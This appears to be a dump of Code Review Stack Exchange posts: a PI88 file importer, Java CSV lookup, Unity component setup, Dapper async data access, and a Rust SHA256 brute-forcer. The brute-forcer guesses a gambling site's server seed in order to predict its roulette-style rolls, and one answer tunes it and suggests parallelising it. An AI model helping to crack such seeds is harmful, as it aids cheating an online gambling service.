inc is None, else returns numpy data. """ if inc is None: return None else: ext_attribs = self.root.find(f".//file/block[@id='{inc}']").attrib return np.memmap( self._tdx_path, offset=int(ext_attribs['byteOffset']), shape=(int(ext_attribs['length']),), dtype=self._get_dtype_from_tdm_type(ext_attribs['valueType']), mode='r', order=self._tdx_order ).view(np.recarray) def _read_data(self, channel, attribute_name, to_object): if channel: setattr(to_object, attribute_name, self._get_data(channel.inc)) else: setattr(to_object, attribute_name, None) def _read_from_channel_group(self, group_name, name_tuples, to_object): """ Read channels data (names given in name_tuples) from group_name into to_object, by setting the attribute names given via name_tuples. If some data wasn't found, the attribute is set to None. :param group_name: str :param name_tuples: (str, str) (attribute_name, channel_name) :param to_object: object :return: None """ for name_tuple in name_tuples: channel = self.get_channel(group_name, name_tuple[1]) self._read_data(channel, name_tuple[0], to_object) def get_instance_attributes_dict(self): """ Function specific for PI88 measurement files :return: dict """ def get_name_value_pair(element): if element.tag == 'string_attribute': return {element.get("name"): element.find("s").text} elif element.tag == 'double_attribute': return {element.get("name"): float(element.text)} elif element.tag == 'long_attribute': return {element.get("name"): int(element.text)} # todo: 'time_attribute' else: return {element.get("name"): element.text} result = {} element = self.root.find(".//tdm_root//instance_attributes") for child in element: result.update(get_name_value_pair(child)) return result </code></pre>
[]
[]
{ "AcceptedAnswerId": null, "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T19:12:36.083", "Id": "231849", "Score": "4", "Tags": [ "python", "beginner", "python-3.x", "numpy" ], "Title": "Importer for binary datafile of PI88 Nanoindenter" }
231849
<p>I made a SHA256 hash bruteforcer as my first program in Rust. It's very specific to what I'm trying to bruteforce and I'll probably never find it.</p> <p>I translated it from Python to make it faster, but can I make it even faster than this? </p> <pre><code>// Disable snake case warning #![allow(non_snake_case)] extern crate crypto; extern crate rand; use self::crypto::digest::Digest; use self::crypto::sha2::Sha256; use std::{i64, fs, process}; use std::time::Instant; use rand::Rng; fn main() { // Local variables let listWin = ["black","green","orange","orange","orange","black","black","orange","black","black","black","orange","black","black","orange","orange","green","black","orange","black","black","orange","orange","black","black","black","orange","black","black","orange","orange","orange","orange","black","orange","black","black","orange","orange","black","black","orange","green","black","orange","orange","orange","orange","green","black"]; let public_seed = "2132110516"; let round_ = 4645230; let now = Instant::now(); let mut nbOfTry: u32 = 0; let mut roundVerif = 0; let mut predict; loop { let randomSeed = &amp;CreateSeed(32); predict = PredictColor(randomSeed, public_seed, round_); // Check if the hash is correct by predicting the first 50 round of the day while predict == listWin[roundVerif] { roundVerif += 1; predict = PredictColor(randomSeed, public_seed, round_ + roundVerif as u32); if roundVerif &gt; 45 { fs::write("seed.txt", randomSeed).expect("Unable to write file"); process::exit(1); } } roundVerif = 0; nbOfTry += 1; if nbOfTry % 1000000 == 0 { println!("{}", nbOfTry); println!("In {} secondes", now.elapsed().as_secs()); } } } //--------------------------------------------------- // CreateSeed() //--------------------------------------------------- // Description : Creates a random seed // // Input : Number of byte // Output : Random seed with a len of 2*nbByte //--------------------------------------------------- fn CreateSeed(nbByte: u8) -&gt; (String){ let mut rng = rand::thread_rng(); let mut seed = String::new(); let mut byte: String; for _x in 0..nbByte { let rand = rng.gen::&lt;u8&gt;(); byte = format!("{:x}", rand); if rand &lt;= 15 {byte = format!("0{}", byte);} seed = format!("{}{}", seed, byte); } return seed; } //--------------------------------------------------- // PredictColor() //--------------------------------------------------- // Description : Predict the roll // // Input : server_seed : serveur seed // public_seed : public seed // round_ : First round of the day // Output : -- //--------------------------------------------------- fn PredictColor(server_seed: &amp;str, public_seed: &amp;str, round_: u32) -&gt; (String){ let toHash; let mut hasher = Sha256::new(); // Hash everything toHash = format!("{}-{}-{}",server_seed, public_seed, round_ ); hasher.input_str(&amp;toHash[..]); let hash_ = hasher.result_str(); // Get the roll number from the hash let decNumber = i64::from_str_radix(&amp;hash_[..8], 16); let roll = decNumber.unwrap() % 15; // Print the color if roll == 0 {return "green".to_owned();} else if roll &gt;= 1 &amp;&amp; roll &lt;= 7 {return "orange".to_owned();} else if roll &gt;= 8 &amp;&amp; roll &lt;= 14 {return "black".to_owned();} else{return "failed".to_owned();} } </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T20:33:46.213", "Id": "452428", "Score": "3", "body": "Why did you decide to disable warnings? Idioms exist for a reason." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T20:34:16.640", "Id": "452429", "Score": "1", "body": "See the [tag info](https://codereview.stackexchange.com/tags/rust/info) for sample steps you can take to improve your code already." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T20:36:47.317", "Id": "452430", "Score": "1", "body": "How fast is your current code? How fast is the Python version? How are you running your code? Are you using release mode? Have you performed any profiling? How sure do you feel that your algorithm is a good choice?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T21:59:25.667", "Id": "452436", "Score": "1", "body": "FWIW, I disagree with the close votes. The code *appears* to be complete and not pseudocode or similar." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T21:59:46.550", "Id": "452437", "Score": "0", "body": "It would be good to include the exact versions of the crates you are using." } ]
[ { "body": "<p>Run and address feedback from automated tools to get easy feedback without having to make use of another human's time. Possible tools include:</p>\n\n<ul>\n<li>The Rust compiler. Don't turn off warnings.</li>\n<li><a href=\"https://github.com/rust-lang-nursery/rustfmt\" rel=\"nofollow noreferrer\">Rustfmt</a> is a tool for automatically formatting Rust code to the community-accepted style.</li>\n<li><a href=\"https://github.com/rust-lang-nursery/rust-clippy\" rel=\"nofollow noreferrer\">Clippy</a> is a tool for finding common mistakes that may not be compilation errors but are unlikely to be what the programmer intended.</li>\n</ul>\n\n<p>These detect things like:</p>\n\n<ul>\n<li>incorrect / inconsistent indentation.</li>\n<li>unneeded usages of <code>return</code></li>\n<li>non-idiomatic Rust naming </li>\n</ul>\n\n<p>Your variables have useless prefixes and suffixes. Don't blindly use Hungarian notation in a strongly typed language (e.g. <code>nb</code>). Dnt ndlssly abbv vrbs (don't needlessly abbreviate variables).</p>\n\n<p>With this initial clearing of the underbrush, we can start to look at the code.</p>\n\n<ul>\n<li><p>Don't use <code>extern crate</code> in modern Rust (<a href=\"https://stackoverflow.com/q/29403920/155423\">What's the difference between use and extern?</a>).</p></li>\n<li><p>Don't use <code>self::cratename</code>, just use <code>cratename</code>.</p></li>\n<li><p>I prefer to group all imports from the same crate into a single use statement.</p></li>\n<li><p>Declare your variables as <em>close as possible</em> to where they are defined. Declare them inside of loops, especially if they aren't used outside of the loop or are reset inside the loop.</p></li>\n<li><p>Use an infinite range instead of manually incrementing a variable.</p></li>\n<li><p>Your function documentation is mostly useless. It's not using a doc comment (<code>///</code>). It repeats things like the function name. (<a href=\"https://stackoverflow.com/q/30009650/155423\">How do you document function arguments?</a>)</p></li>\n<li><p>The type <code>(String)</code> has an unneeded parenthesis.</p></li>\n<li><p>Your number formatting is grossly inefficient. You allocate many strings when you only need to extend an existing one. (<a href=\"https://stackoverflow.com/q/50458144/155423\">What is the easiest way to pad a string with 0 to the left?</a>; <a href=\"https://stackoverflow.com/q/28333612/155423\">How can I append a formatted string to an existing String?</a>)</p></li>\n<li><p>Don't use <code>_x</code> if the variable is never used. Just use <code>_</code>.</p></li>\n<li><p>Don't use magical values like \"failed\". Make use of Rust's <code>Result</code> type (<a href=\"https://stackoverflow.com/q/22187926/155423\">What's the benefit of using a Result?</a>)</p></li>\n<li><p>There's no need to slice the string with <code>[..]</code>. Most of the time, a reference to a <code>String</code> will suffice (<a href=\"https://stackoverflow.com/q/49315047/155423\">How does a reference to a String become a string slice?</a>)</p></li>\n<li><p>There's no need to return an owned <code>String</code>; a <code>&amp;'static str</code> will suffice (<a href=\"https://stackoverflow.com/q/24158114/155423\">What are the differences between Rust's <code>String</code> and <code>str</code>?</a>)</p></li>\n<li><p>Avoid using <code>as</code> to convert numbers. Prefer <code>From::from</code> instead (<a href=\"https://stackoverflow.com/q/28273169/155423\">How do I convert between numeric types safely and idiomatically?</a>)</p></li>\n<li><p>It's inefficient to convert the digest result to a string, slice the string, then convert back to a number. Perform the operations directly on the digest buffer. (<a href=\"https://stackoverflow.com/q/29307474/155423\">How can I convert a buffer of a slice of bytes (&amp;[u8]) to an integer?</a>; <a href=\"https://stackoverflow.com/q/25428920/155423\">How to get a slice as an array in Rust?</a>)</p></li>\n<li><p>Don't use an <code>i64</code> when you mean to use an <code>u32</code></p></li>\n<li><p>Using a <code>match</code> is cleaner than multiple <code>if</code>/<code>else</code> statements.</p></li>\n</ul>\n\n<pre><code>use crypto::{digest::Digest, sha2::Sha256};\nuse rand::Rng;\nuse std::{convert::TryInto, fs, process, time::Instant};\n\nfn main() {\n // Local variables\n let winners = [\n \"black\", \"green\", \"orange\", \"orange\", \"orange\", \"black\", \"black\", \"orange\", \"black\",\n \"black\", \"black\", \"orange\", \"black\", \"black\", \"orange\", \"orange\", \"green\", \"black\",\n \"orange\", \"black\", \"black\", \"orange\", \"orange\", \"black\", \"black\", \"black\", \"orange\",\n \"black\", \"black\", \"orange\", \"orange\", \"orange\", \"orange\", \"black\", \"orange\", \"black\",\n \"black\", \"orange\", \"orange\", \"black\", \"black\", \"orange\", \"green\", \"black\", \"orange\",\n \"orange\", \"orange\", \"orange\", \"green\", \"black\",\n ];\n let public_seed = \"2132110516\";\n let round = 4_645_230;\n\n let now = Instant::now();\n\n for tries in 0.. {\n let random_seed = &amp;create_seed(32);\n let mut predict = predict_color(random_seed, public_seed, round).unwrap();\n let mut round_verifications = 0u8;\n\n // Check if the hash is correct by predicting the first 50 round of the day\n while predict == winners[usize::from(round_verifications)] {\n round_verifications += 1;\n predict = predict_color(random_seed, public_seed, round + u32::from(round_verifications))\n .unwrap();\n\n if round_verifications &gt; 45 {\n fs::write(\"seed.txt\", random_seed).expect(\"Unable to write file\");\n process::exit(1);\n }\n }\n\n if tries % 1_000_000 == 0 {\n println!(\"{}\", tries);\n println!(\"In {} seconds\", now.elapsed().as_secs());\n\n if tries == 5000000 { return }\n }\n }\n}\n\n/// Creates a random seed with a length of `2 * bytes`\nfn create_seed(bytes: usize) -&gt; String {\n let mut rng = rand::thread_rng();\n let mut seed = String::with_capacity(2 * bytes);\n\n for _ in 0..bytes {\n use std::fmt::Write;\n write!(&amp;mut seed, \"{:02x}\", rng.gen::&lt;u8&gt;()).unwrap();\n }\n seed\n}\n\n/// Predict the roll\nfn predict_color(\n server_seed: &amp;str,\n public_seed: &amp;str,\n first_round_of_the_day: u32,\n) -&gt; Result&lt;&amp;'static str, ()&gt; {\n let mut hasher = Sha256::new();\n\n // Hash everything\n let to_hash = format!(\"{}-{}-{}\", server_seed, public_seed, first_round_of_the_day);\n hasher.input_str(&amp;to_hash);\n\n let mut hash = [0; 32];\n hasher.result(&amp;mut hash);\n\n let leading_bytes: &amp;[u8; 4] = hash[..4].try_into().unwrap();\n let number = u32::from_be_bytes(*leading_bytes);\n\n match number % 15 {\n 0 =&gt; Ok(\"green\"),\n 1..=7 =&gt; Ok(\"orange\"),\n 8..=14 =&gt; Ok(\"black\"),\n _ =&gt; Err(()),\n }\n}\n</code></pre>\n\n<p>Running this in release mode:</p>\n\n<pre class=\"lang-none prettyprint-override\"><code>% time ./target/release/review\n0\nIn 0 seconds\n1000000\nIn 2 seconds\n2000000\nIn 4 seconds\n3000000\nIn 7 seconds\n4000000\nIn 9 seconds\n5000000\nIn 11 seconds\n\nreal 12.078 12077581us\nuser 11.879 11879005us\nsys 0.033 33467us\ncpu 98%\nmem 968 KiB\n</code></pre>\n\n<p>Compared to your original:</p>\n\n<pre class=\"lang-none prettyprint-override\"><code>% time ./target/release/review\n1000000\nIn 14 secondes\n2000000\nIn 28 secondes\n3000000\nIn 42 secondes\n4000000\nIn 56 secondes\n5000000\nIn 70 secondes\n\nreal 1:10.49 70485131us\nuser 1:10.16 70162635us\nsys 0.137 136869us\ncpu 99%\nmem 980 KiB\n</code></pre>\n\n<p>The improved version takes <strong>17%</strong> of your original time (a 5.8x speed increase).</p>\n\n<hr>\n\n<p>Using a random number generator for the seed is probably a bad idea. It's totally reasonable for a RNG to repeat a value, but that won't change your results. You might as well start at 0 and work your way up. This also makes it trivial to stop and resume.</p>\n\n<p>The problem appears to be embarrassingly parallel, so that would also be an avenue to investigate.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T18:13:31.973", "Id": "452549", "Score": "0", "body": "Thanks for your really nice answer, I'll have a lot of things to read with all the link you sent. \n\n\nFor my function documentation, it's what my school wants me to do, so that's what I'm used to. It's when I'll write librairies in C, the documentation will have to be very clear for the user. \n\n\n\n\nI originaly thought of working my way up, but the seed changes everyday, which makes it nearly impossible to crack. \n\n\nThe seed looks like that : `\"a3bbba746fa85f6305ee3873b6d267d9872eceb6c6174e33075d73a5259b4cb6\"`" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T18:14:44.150", "Id": "452550", "Score": "0", "body": "the maximum value is then : \"ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\"\nIn decimal : 2^(64*4) = 115792089237316195423570985008687907853269984665640564039457584007913129639936\n\nI think my calculs are correct. I guess randomly guessing might be better because I won't do half that number in a day.\n\n\nI tried running your code, it looks like you're using 98% of your CPU. When I run it, it uses a maximum of 9% of my cpu. How can I make it run full speed ?\n\nSorry for the bad formating, it's the first time I'm using this site." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T18:38:01.467", "Id": "452562", "Score": "0", "body": "Randomly guessing will never be better though. The RNG might return zero 100 times in a row, computing the same (failed) value again. There's no information you can make use about being \"close\" that might make jumping around the search space have a benefit. Jumping around randomly won't make you faster (in fact, it's probably slower)." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T18:40:23.390", "Id": "452563", "Score": "0", "body": "The 98% number reported by my shell is of a single core, I believe. Your number might be out of your total CPU; do you have an 8-, 10- or 12-core processor by any chance?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T18:42:58.317", "Id": "452565", "Score": "0", "body": "I have a AMD Ryzen 5 2600. 6 Cores, 12 Logical processors" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T18:50:59.483", "Id": "452568", "Score": "0", "body": "In that case you are likely getting ~100% of 1/12 => ~8.3%. That ties into the \"parallelize it\" comment." } ], "meta_data": { "CommentCount": "6", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T03:03:38.723", "Id": "231869", "ParentId": "231853", "Score": "6" } } ]
{ "AcceptedAnswerId": "231869", "CommentCount": "5", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T20:02:21.790", "Id": "231853", "Score": "0", "Tags": [ "performance", "rust", "cryptography" ], "Title": "SHA256 hash bruteforcer" }
231853
<p>My code picks a value from a too large csv file (~300MB.) at a given index <code>i</code> and <code>j</code> (assuming the csv as 2D array because it contains just data without headers), it works but it is slow. Is there other method to pick a value from csv file faster?</p> <pre><code>import java.io.BufferedReader; import java.io.InputStreamReader; import java.io.FileInputStream; import java.io.File; import java.io.IOException; import java.util.List; import java.util.ArrayList; public class Main { public static String r1(String input,int i, int j,int bufferSize){ String[][] result = {}; String row =""; try { BufferedReader r1 = new BufferedReader(new InputStreamReader(new FileInputStream(new File(input)), "UTF-8"), bufferSize); List&lt;String[]&gt; lines = new ArrayList&lt;String[]&gt;(); while((row=r1.readLine())!=null){ lines.add(row.split(",")); } String[][] csv = new String[lines.size()][0]; lines.toArray(csv); result = csv; r1.close(); } catch(IOException e){ e.printStackTrace(); } return result[i][j]; } public static void main(String[] args){ int bufferSize = 10 * 1024; //10 KB. String filename = "matrix.csv"; int i = 744, j = 7000; String pickedValue = r1(filename,i,j,bufferSize); System.out.println(pickedValue); } } </code></pre>
[]
[ { "body": "<h2>Spaces</h2>\n\n<p>Your use of spaces could stand improvement. You should have one space after every comma in argument list, and around binary operators. It is also customary to have a space between a closing parenthesis and an opening brace.</p>\n\n<h2>Names</h2>\n\n<p>Use descriptive names!</p>\n\n<p>Is <code>r1</code> a method name, or a <code>BufferedReader</code>? Why are these named the same, anyway? </p>\n\n<p>What is <code>input</code>? It is a <code>String</code>, that much is clear, but what is it used for? <code>filename</code> would be so much more descriptive than <code>input</code>.</p>\n\n<h2>Try-with-resources</h2>\n\n<p>If an <code>IOException</code> happens, is <code>FileInputStream</code> closed, or does it bypass the <code>r1.close()</code> statement?</p>\n\n<p>Java 7 introduced the \"try-with-resources\" construct, which ensures resources are properly closed, even in the event of exceptions, and even if exceptions happen during the exception handling.</p>\n\n<pre><code>try (FileInputStream fis = new FileInputStream(new File(input)),\n InputStreamReader isr = new InputStreamReader(fir, \"UTF-8\"),\n BufferedReader br = new BufferedReader(isr)) {\n\n // use br here - see below\n\n\n // br, isr, and fis are automatically closed here, at the end of the try block.\n} catch (IOException e) {\n e.printStackTrace();\n}\n</code></pre>\n\n<h2>Efficiency</h2>\n\n<p>You are doing a lot of unnecessary work, wasting time, to extract a single value from the file.</p>\n\n<ul>\n<li>If you want the value from the first line, you still read in all of the lines</li>\n<li>You split every line into columns, even when you don't need a value from that line.</li>\n<li>You store all of the lines of data, split into columns, as an <code>ArrayList</code></li>\n<li>You store a second copy of of all of the lines of data, as a <code>String[][]</code></li>\n</ul>\n\n<p>In place of the <code>// use br here - see below</code> line, you could do the following:</p>\n\n<ul>\n<li>Read in lines without storing them, until you reach the i-th row.</li>\n<li>Split the i-th row into columns</li>\n<li>Return the j-th value</li>\n</ul>\n\n<p>Ie)</p>\n\n<pre><code>for(int row = 0; row &lt; i; row++) {\n br.readLine(); // Note: value is not saved\n}\n\nString line = br.readLine();\nString[] columns = line.split(\",\");\nreturn columns[j]; // Resources are automatically closed!\n</code></pre>\n\n<p>Remove the original declaration of <code>result</code>, <code>row</code>, and <code>lines</code>.</p>\n\n<hr>\n\n<blockquote>\n <p>What about <code>bufferSize</code>, should I never use it?</p>\n</blockquote>\n\n<p>It was an oversight on my part when writing the try-with-resources replacement, but in general, no. The JVM will pick a buffer size that is optimal for the OS.</p>\n\n<p>If you did want to specify a buffer size, 10KiB seems too arbitrary. It should be related to (a multiple of) the size of the data being read, in this case, the length of the lines in the csv file. The larger the value, the lower the odds that <code>readline()</code> will have to do string concatenation because the part of the line is in one buffer &amp; part of the line is in another. However, the larger the value, the higher the odds that too much data will be read (you want to stop at exactly the right line, remember?), memory pressure will increase causing other inefficiencies. If you do try tweaking the value, profile, profile, profile (... and then go back to the default). </p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T12:01:55.450", "Id": "452476", "Score": "0", "body": "I appreciate your work, thank you. I fixed the code." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T12:04:54.227", "Id": "452478", "Score": "0", "body": "But what about BufferSize, should I never use it?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T12:50:41.820", "Id": "452487", "Score": "1", "body": "@Khaled Unless you have some reason to override the default buffer size, don't." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T15:29:36.633", "Id": "452512", "Score": "0", "body": "Speed of read and writing is greatly influenced by the size of the buffer used. He probably has a very good reason to increase the buffer size. In Java you probably want to use a `FileChannel` directly (get that buffer as close to the OS as possible) and use a 64k byte buffer." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T12:25:43.213", "Id": "452670", "Score": "0", "body": "Ok, thanks for your advices!" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-10T12:12:15.357", "Id": "453143", "Score": "0", "body": "This answer omits the most important aspect :) If the file is shorter than `i` lines or thinner than `j` fields it will NPE." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-10T15:39:25.890", "Id": "453164", "Score": "0", "body": "@drekbour I think if the file is narrower than j fields, both the original code and this code will `ArrayIndexOutOfBoundsException`. If shorter than i lines, this code will NPE where the original will AIOOBE. A subtle difference; good catch." } ], "meta_data": { "CommentCount": "7", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T23:37:26.363", "Id": "231857", "ParentId": "231854", "Score": "8" } }, { "body": "<p>Improvements:</p>\n\n<ul>\n<li>Java 7 <a href=\"https://docs.oracle.com/javase/tutorial/essential/exceptions/tryResourceClose.html\" rel=\"nofollow noreferrer\">try-with-resources</a> handles closing of all that IO in normal and Exceptional circumstances</li>\n<li>Skip all lines until <code>i</code>'th. Original code loaded the whole file into memory for no benefit.</li>\n<li>Safely handle small file (<code>readLine()</code> will return null after the last line)</li>\n<li>Safely handle short line (vals array may be shorter than <code>j</code>)</li>\n<li>Written as a utility method (better for unit testing)</li>\n<li>NOT DONE. Many will say <code>i</code> and <code>j</code> should be named more descriptively. E.g. <code>row</code> and <code>col</code></li>\n<li>NOT DONE. Exception handling. Maybe you prefer to return <code>null</code> if the file is missing.</li>\n<li>NOT DONE. Some level of Javadoc</li>\n</ul>\n\n<pre class=\"lang-java prettyprint-override\"><code>public static String getField(int i, int j, String filename) throws IOException {\n Path path = Paths.get(filename);\n // All these resources will auto-close as we exit the try {} block\n try (BufferedReader reader = new BufferedReader(new InputStreamReader(Files.newInputStream(path)))) {\n String line;\n while ((line = reader.readLine()) != null) { // Read and discard, keeping only current line\n if (i-- == 0) {\n // We made it to the i'th line... \n String[] vals = line.split(\",\"); // ... Check if we have a j'th field\n return vals.length &gt; j ? vals[j] : null;\n }\n }\n // File finished before i'th line was met\n return null;\n }\n }\n</code></pre>\n\n<p>For kicks, here's a Java 8 version using <code>Stream</code> and <code>Optional</code></p>\n\n<pre class=\"lang-java prettyprint-override\"><code> public static Optional&lt;String&gt; getFieldJava8(int i, int j, String filename) throws IOException {\n return Files.lines(Paths.get(filename))\n .skip(i)\n .findFirst() // This will output the i'th line\n .flatMap(row -&gt; {\n String[] vals = row.split(\",\"); // check if we have a j'th field\n return vals.length &gt; j ? Optional.of(vals[j]) : Optional.empty();\n });\n }\n</code></pre>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-10T12:53:41.817", "Id": "232146", "ParentId": "231854", "Score": "1" } } ]
{ "AcceptedAnswerId": "231857", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T22:05:17.123", "Id": "231854", "Score": "7", "Tags": [ "java", "array", "csv" ], "Title": "Fastest way to get a value from csv file using java 7" }
231854
<p>It is a usual pattern when creating a new component, to load references to other components of the same GameObject. Here is an extreme case:</p> <pre class="lang-cs prettyprint-override"><code> [RequireComponent(typeof(Animator))] [RequireComponent(typeof(SpriteRenderer))] [RequireComponent(typeof(Stats))] [RequireComponent(typeof(Hunger))] [RequireComponent(typeof(Thirst))] [RequireComponent(typeof(Navigator))] [RequireComponent(typeof(LocationDevice))] [RequireComponent(typeof(AttacksManager))] [RequireComponent(typeof(ShieldEffect))] public class EnemyController : MonoBehaviour { Animator animator; SpriteRenderer spriteRenderer; Stats stats; Hunger hunger; Thirst thirst; Navigator navigator; LocationDevice locationDevice; AttacksManager attacksManager; ShieldEffect shieldEffect; void Awake() { animator = GetComponent&lt;Animator&gt;(); spriteRenderer = GetComponent&lt;SpriteRenderer&gt;(); stats = GetComponent&lt;Stats&gt;(); hunger = GetComponent&lt;Hunger&gt;(); thirst = GetComponent&lt;Thirst&gt;(); navigator = GetComponent&lt;Navigator&gt;(); locationDevice = GetComponent&lt;LocationDevice&gt;(); attacksManager = GetComponent&lt;AttacksManager&gt;(); shieldEffect = GetComponent&lt;ShieldEffect&gt;(); } } </code></pre> <p>Is there a way to write this better?</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T17:55:46.427", "Id": "452545", "Score": "1", "body": "Greetings, we don't review stub code on CodeReview, but actual code. Please place some actual code in your question. Otherwise this question will be put on hold pretty quickly." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T17:58:33.540", "Id": "452546", "Score": "0", "body": "@konijn Ok, corrected" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T18:06:44.777", "Id": "452547", "Score": "0", "body": "Thanks! Also, sorry! I was not clear enough, this would not compile and still does not fit the guidelines, can you put the entire `EnemyController ` class ?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T21:55:34.120", "Id": "452583", "Score": "0", "body": "Now it does compile. Notice that I am not really asking a review on the code itself, but on a pattern that repeats itself a lot in my daily routine" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T21:58:29.830", "Id": "452585", "Score": "1", "body": "Got ya, thanks! It's a CodeReview community thing, I am looking forward to the review of this." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T21:58:57.693", "Id": "452586", "Score": "0", "body": "I appreciate the help. Thank you!" } ]
[]
{ "AcceptedAnswerId": null, "CommentCount": "6", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T22:34:15.457", "Id": "231855", "Score": "4", "Tags": [ "c#", "unity3d" ], "Title": "Imrpove code for loading components" }
231855
<p>I have been building my data access layer and performance is key for the project I am working on. </p> <p>I have chosen to use Dapper and dotnet core 3. I want to make use of the latest and greatest async features in dotnet core and Dapper to allow for smarter resource allocation under heavy load, however there is not much documentation out there. </p> <p>All the dapper wrappers seem to be using non async and most examples I find for <code>SqlConnection</code> use non async methods.</p> <p>I was wondering if the use of all async and await is worth the overhead.</p> <pre><code>using System; using System.Collections.Generic; using System.Data; using System.Data.SqlClient; using System.Threading.Tasks; using Dapper; using Microsoft.Extensions.Logging; using Microsoft.Extensions.Options; using Outible.API.Model; using Outible.DataAccess.Interfaces; namespace Outible.DataAccess.Models { public class Db : IDb { private readonly IOptionsMonitor&lt;ConnectionStrings&gt; _connectionStrings; private readonly ILogger&lt;Db&gt; _logger; public Db(IOptionsMonitor&lt;ConnectionStrings&gt; connectionStrings, ILogger&lt;Db&gt; logger) { _connectionStrings = connectionStrings; _logger = logger; } private async Task&lt;T&gt; CommandAsync&lt;T&gt;(Func&lt;IDbConnection, IDbTransaction, int, Task&lt;T&gt;&gt; command) { var connection = new SqlConnection(_connectionStrings.CurrentValue.MainDatabase); await connection.OpenAsync().ConfigureAwait(false); await using var transaction = await connection.BeginTransactionAsync(); try { var result = await command(connection, transaction, 300).ConfigureAwait(false); await transaction.CommitAsync().ConfigureAwait(false); return result; } catch (Exception ex) { await transaction.RollbackAsync().ConfigureAwait(false); _logger.LogError(ex, "Rolled back transaction"); throw; } } public Task&lt;int&gt; ExecuteAsync(string sql, object parameters) { return CommandAsync((conn, trn, timeout) =&gt; conn.ExecuteAsync(sql, parameters, trn, timeout)); } public Task&lt;T&gt; GetAsync&lt;T&gt;(string sql, object parameters) { return CommandAsync((conn, trn, timeout) =&gt; conn.QuerySingleOrDefaultAsync&lt;T&gt;(sql, parameters, trn, timeout)); } public Task&lt;IEnumerable&lt;T&gt;&gt; SelectAsync&lt;T&gt;(string sql, object parameters) { return CommandAsync((conn, trn, timeout) =&gt; conn.QueryAsync&lt;T&gt;(sql, parameters, trn, timeout)); } } } </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T10:40:10.980", "Id": "452468", "Score": "1", "body": "Side note: all those `ConfigureAwait(false)` are a pain to write and read. I'd consider this an implementation detail (then I'd let the caller deal with this, if it needs to!) but if you really do not want to then you should change the synchronization context once and for all (better using an helper method for this) at the beginning of your method." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T20:06:34.650", "Id": "452572", "Score": "0", "body": "good point @AdrianoRepetti, thanks" } ]
[ { "body": "<p>I see you have already applied <code>using</code> to the transaction.</p>\n\n<p>But given that a new <code>SqlConnection</code> is created for each command, I would suggest wrapping it in a <code>using</code> statement as well. </p>\n\n<pre><code>private async Task&lt;T&gt; CommandAsync&lt;T&gt;(Func&lt;IDbConnection, IDbTransaction, int, Task&lt;T&gt;&gt; command)\n{\n using(var connection = new SqlConnection(_connectionStrings.CurrentValue.MainDatabase))\n {\n await connection.OpenAsync().ConfigureAwait(false);\n await using var transaction = await connection.BeginTransactionAsync();\n try\n {\n T result = await command(connection, transaction, 300).ConfigureAwait(false);\n\n await transaction.CommitAsync().ConfigureAwait(false);\n\n return result;\n }\n catch (Exception ex)\n {\n await transaction.RollbackAsync().ConfigureAwait(false);\n _logger.LogError(ex, \"Rolled back transaction\");\n throw;\n }\n }\n}\n</code></pre>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T01:00:35.753", "Id": "231862", "ParentId": "231856", "Score": "4" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T23:00:05.703", "Id": "231856", "Score": "4", "Tags": [ "c#", "performance", ".net-core", "dapper" ], "Title": "Dapper \"async\" and \"await using\"" }
231856
<p>I am working with a library that has a base class Base, and three class descending from it Destination, Amenity and Landmarks. The Base class looks something like this </p> <pre><code>public class Base { public Integer id; public String externalId; public Base() { } public int getId() { return this.id; } public String getExternalId() { return this.externalId != null ? this.externalId : ""; } } </code></pre> <p>The children classes look like this </p> <pre><code>public class Destination extends Base implements Parcelable { private String name; private String description; private Point[] points public String getName() { return this.name; } public String getDescription() { return this.description; } public Point[] getPoints(){ return this.points; } } </code></pre> <p>The important thing to note here is that the three child classes have the points property and the getPoints getter for accessing it. If it was my implementation, I would bring the points field into the base class to avoid replicating multiple times in the child classes but like I said, it's a library and I cannot modify the source. While working with the library I 